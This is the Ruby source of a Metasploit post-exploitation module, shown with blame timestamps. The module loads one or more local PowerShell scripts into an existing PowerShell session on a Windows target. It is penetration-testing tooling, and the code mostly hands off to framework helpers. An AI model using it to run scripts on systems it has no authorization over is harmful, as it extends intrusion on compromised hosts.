Files
metasploit-gs/modules/post/windows/manage/powershell/load_script.rb
T

49 lines
1.4 KiB
Ruby
Raw Normal View History

2015-05-19 14:06:41 +01:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Powershell
def initialize(info={})
super(update_info(info,
2015-05-19 16:08:43 +01:00
'Name' => "Load Scripts Into PowerShell Session",
2015-05-19 14:06:41 +01:00
'Description' => %q{
This module will download and execute one or more PowerShell script
s over a present powershell session.
2015-05-19 16:17:11 +01:00
Setting VERBOSE to true will show the stager results.
2015-05-19 14:06:41 +01:00
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['powershell'],
2015-05-19 16:06:44 +01:00
'Author' => [
'Ben Turner benpturner[at]yahoo.com',
'Dave Hardy davehardy20[at]gmail.com'
2015-05-19 14:06:41 +01:00
]
))
register_options(
[
OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts'])
2015-05-19 14:06:41 +01:00
], self.class)
end
def run
if datastore['SCRIPT']
stage_psh_env(datastore['SCRIPT'])
end
if datastore['FOLDER']
files = ::Dir.entries(datastore['FOLDER'])
files.reject! { |u| %w(. ..).include?(u) }
files.each do |script| stage_psh_env(datastore['FOLDER'] + script) end
2015-05-19 15:47:30 +01:00
end
2015-05-19 14:06:41 +01:00
end
2015-05-19 15:47:30 +01:00
end